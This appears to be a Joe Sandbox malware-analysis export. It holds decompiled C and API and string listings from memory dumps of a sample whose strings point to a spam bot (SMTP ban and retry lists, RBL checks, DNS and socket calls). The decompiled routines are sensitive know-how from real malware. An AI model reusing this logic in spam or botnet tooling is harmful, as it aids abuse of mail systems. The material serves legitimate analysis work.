Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: 0t$localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-2836909627
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

86A, xrefs: 0040BF98
smtp_herr, xrefs: 0040BE46, 0040BF62
smtp_ban, xrefs: 0040BE55, 0040BF77
06A, xrefs: 0040BF70
smtp_retr, xrefs: 0040BE61, 0040BF8C
46A, xrefs: 0040BF85

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0043C194, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043C198
_strlen.LIBCMT ref: 0043C1C8
_write_multi_char.LIBCMTD ref: 0043C9AB
_write_string.LIBCMTD ref: 0043C9C6
_write_multi_char.LIBCMTD ref: 0043C9F2
__mbtowc_l.LIBCMTD ref: 0043CA61

Strings

xD@, xrefs: 0043C1BB

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: xD@
API String ID: 909868375-1198140267
Opcode ID: f1aa481184beac026704e21a7fab33e859501189567b19e2cc9518fee33b8653
Instruction ID: 07b5985c1348faf668c6f0cdc69ea875ac8256bdb89f8e6e4a5dea5c3d90db9a
Opcode Fuzzy Hash: f1aa481184beac026704e21a7fab33e859501189567b19e2cc9518fee33b8653
Instruction Fuzzy Hash: 6FA16DB1D002289BDB24DF54CC81BAEB7B5EF48304F1491DAE6097B281D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32 ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

0t, xrefs: 0040C44D
localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: 0t$localcfg
API String ID: 1553760989-1645711936
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 0043C36A, Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043C36E
__get_printf_count_output.LIBCMTD ref: 0043C37C
__invalid_parameter.LIBCMTD ref: 0043C403
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C418
_write_multi_char.LIBCMTD ref: 0043C9AB
_write_string.LIBCMTD ref: 0043C9C6
_write_multi_char.LIBCMTD ref: 0043C9F2
__mbtowc_l.LIBCMTD ref: 0043CA61

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: c8085778bbb25a2222fc431e846649b6a162034bb8851f7cc36a0f45966b9f4a
Instruction ID: a4d889b80823d5d91f0d514b98cdfed09f9eb3bc69c98fa5629758e4732b00c4
Opcode Fuzzy Hash: c8085778bbb25a2222fc431e846649b6a162034bb8851f7cc36a0f45966b9f4a
Instruction Fuzzy Hash: 42A17EF1D002289BDF24DB55CC86BAEB774AF48304F14909AE6197B282D7786E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0064F565, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0064CC6D), ref: 0064F59D
socket.WS2_32(00000002,00000001,00000000), ref: 0064F5B7
closesocket.WS2_32(00000000), ref: 0064F5C5

Strings

time_cfg, xrefs: 0064F573
^3u, xrefs: 0064F619
p2u, xrefs: 0064F5C5, 0064F5F0

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p2u$time_cfg$^3u
API String ID: 311057483-1845531421
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: ab4d0c227838403d1d886e75a07dd0692e3ae2ed98050314849474164e484165
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: 85315A72900118ABDB10DFA4DC899EF7BFDEF89314F104166F915E3150E7709A818BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00643042, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 00643051
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00643061
GetProcAddress.KERNEL32(00000000,00410408), ref: 0064307E
RtlAllocateHeap.NTDLL(00000000), ref: 0064309F
htons.WS2_32(00000035), ref: 006430D8
inet_addr.WS2_32(?), ref: 006430E3
gethostbyname.WS2_32(?), ref: 006430F6
HeapFree.KERNEL32(00000000), ref: 00643136

Strings

iphlpapi.dll, xrefs: 0064304B, 00643050, 00643060

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: 310563eaccadade1b612905c355146a0301637a68bf242a966add9e9cc562496
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: 2B31D631A00226ABDF109BB8DC48BEE7BB9EF05761F144225F514E3390DB74DE818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

GetSystemWow64DirectoryA, xrefs: 00406CDD
kernel32, xrefs: 00406CE2
Mt, xrefs: 00406CE7
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32$Mt
API String ID: 1082366364-4075101892
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 00437483, Relevance: 15.2, APIs: 10, Instructions: 183COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004374CB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437501
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437522
wcsncnt.LIBCMTD ref: 00437559
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004375BF
_wcslen.LIBCMTD ref: 004377CF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004377DD

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: a75fb59ac886909f865883af9d2fd7fd6acc280cbf306607b00d4618d004dc0d
Instruction ID: b5e8d08e96fcbcc2b07ac53ecced02183d09c535b9b91c2cc2aeaaa75e660303
Opcode Fuzzy Hash: a75fb59ac886909f865883af9d2fd7fd6acc280cbf306607b00d4618d004dc0d
Instruction Fuzzy Hash: 56813A71A04108EFDB18DF94C894BEEBBB1FF48314F20815AE5156B2A1DB39AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00646761, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000008), ref: 006467AC
htonl.WS2_32(?), ref: 006467C8
htonl.WS2_32(?), ref: 006467D7
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 006468DA
ExitProcess.KERNEL32 ref: 006469A5

Strings

except_info, xrefs: 00646978
localcfg, xrefs: 0064697D

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Processhtonl$CurrentExitHugeRead
String ID: except_info$localcfg
API String ID: 1150517154-3605449297
Opcode ID: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction ID: 9db76e914cdaf7173e6b77f8ef767b1ab1d173b3462134d176ec075866630942
Opcode Fuzzy Hash: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction Fuzzy Hash: 50618F72940208AFDB609FB4DC45FEA77E9FF08300F24806AF96CD2161DAB59980CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00642F71, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 00642F8A
LoadLibraryA.KERNEL32(?), ref: 00642F9A
GetProcAddress.KERNEL32(00000000,004103F0), ref: 00642FB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00642FE9
RtlAllocateHeap.NTDLL(00000000), ref: 00642FF0
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 0064301B

Strings

dnsapi.dll, xrefs: 00642F79

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
